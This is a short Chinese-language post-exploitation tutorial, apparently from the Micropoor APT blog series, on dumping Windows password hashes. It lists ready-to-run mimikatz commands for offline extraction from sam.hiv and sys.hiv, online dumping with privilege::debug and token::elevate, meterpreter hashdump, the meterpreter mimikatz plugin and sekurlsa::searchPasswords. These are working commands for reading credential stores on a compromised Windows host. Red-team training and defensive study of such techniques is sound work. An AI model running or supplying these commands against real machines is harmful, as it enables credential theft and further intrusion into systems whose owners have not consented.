专注APT攻击与防御

https://micropoor.blogspot.com/

上一季下载sys.hiv,sam.hiv,security.hiv文件后，以Linux下为背景来离线提取hash，本

季补充以windows为背景离线提取hash。

mimikatz 2.0二进制文件下载地址：https://github.com/gentilkiwi/mimikatz/releases/latest切到当下目录（注意X86,X64位）

mimikatz离线导hash命令：

mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit

mimikatz在线导hash命令：

mimikatz.exe "log Micropoor.txt" "privilege::debug"

"token::elevate" "lsadump::sam" "exit"

当然关于提取目标机的hash，msf也内置了离线提取与在线提取hash。

meterpreter下hashdump命令来提取hash（注意当前权限）

msf同时也内置了mimikatz，meterpreter执行load mimikatz即可加载该插件。（这里一定要注意，msf默认调用于payload位数相同的mimikatz）

直接执行kerberos即可。

当然有些情况下，payload位数无误，权限无误，依然无法提取目标机的密码相关。需

要调用mimikatz自定义命令：

mimikatz\_command -f sekurlsa::searchPasswords

Micropoor